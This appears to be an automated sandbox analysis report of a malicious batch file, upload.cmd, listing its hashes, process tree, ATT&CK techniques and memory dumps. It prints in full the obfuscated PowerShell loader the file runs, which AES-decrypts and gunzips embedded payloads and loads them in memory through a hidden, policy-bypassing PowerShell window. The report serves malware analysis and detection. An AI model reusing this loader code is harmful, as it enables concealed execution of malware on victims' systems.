e069265534c2841bb1133c2ecf9d95cf73154737beaa3f8a763c7cf5037dc39a

General

Target

upload.cmd
Size

80KB
MD5

9619f1ddef9f682e7e70d738513fbe95
SHA1

f60d6ccae771e30dd908ed35cd430321011d4e72
SHA256

e069265534c2841bb1133c2ecf9d95cf73154737beaa3f8a763c7cf5037dc39a
SHA512

371bb3fb57b2294c232e35e2b30c314ba879b3effb15cccca254df574fb3f97491d6ccc061e8569d21bfedda81055dcb993fa0c730f1021ac2ac4504e41b5c0a
SSDEEP

1536:5kqlZx2cA8O4bhwdKd7KZWcs+whqo8LR8O4mCrnxVIddBxPUJPNuYQti:5kqhtthgKde7Q8o8l3CrCrEPNuxi

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2516 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2516 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2516 powershell.exe

pid	process
2516	powershell.exe

pid	process
2516	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2516	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1908 wrote to memory of 1940	1908	cmd.exe	cmd.exe
PID 1908 wrote to memory of 1940	1908	cmd.exe	cmd.exe
PID 1908 wrote to memory of 1940	1908	cmd.exe	cmd.exe
PID 1908 wrote to memory of 2864	1908	cmd.exe	cmd.exe
PID 1908 wrote to memory of 2864	1908	cmd.exe	cmd.exe
PID 1908 wrote to memory of 2864	1908	cmd.exe	cmd.exe
PID 1908 wrote to memory of 2516	1908	cmd.exe	powershell.exe
PID 1908 wrote to memory of 2516	1908	cmd.exe	powershell.exe
PID 1908 wrote to memory of 2516	1908	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\upload.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:1940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RzMoOoy2KqgkIwy4RoRfj6IIwcpdKf2HW9dVyZHQs4E='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Au8minHRY/Rn0XwxZshhqQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gKmLj=New-Object System.IO.MemoryStream(,$param_var); $CUzzM=New-Object System.IO.MemoryStream; $xKhtn=New-Object System.IO.Compression.GZipStream($gKmLj, [IO.Compression.CompressionMode]::Decompress); $xKhtn.CopyTo($CUzzM); $xKhtn.Dispose(); $gKmLj.Dispose(); $CUzzM.Dispose(); $CUzzM.ToArray();}function execute_function($param_var,$param2_var){ $DUmer=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qdtAj=$DUmer.EntryPoint; $qdtAj.Invoke($null, $param2_var);}$eQNwc = 'C:\Users\Admin\AppData\Local\Temp\upload.cmd';$host.UI.RawUI.WindowTitle = $eQNwc;$JWNvA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($eQNwc).Split([Environment]::NewLine);foreach ($gHmIc in $JWNvA) { if ($gHmIc.StartsWith('oyDvWzHHEgVkFmqgImzX')) { $PFglM=$gHmIc.Substring(20); break; }}$payloads_var=[string[]]$PFglM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2516-4-0x000007FEF534E000-0x000007FEF534F000-memory.dmp

Filesize
4KB

Download
memory/2516-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2516-7-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-8-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-9-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2516-10-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-11-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-12-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-13-0x000007FEF534E000-0x000007FEF534F000-memory.dmp

Filesize
4KB

Download

Analysis

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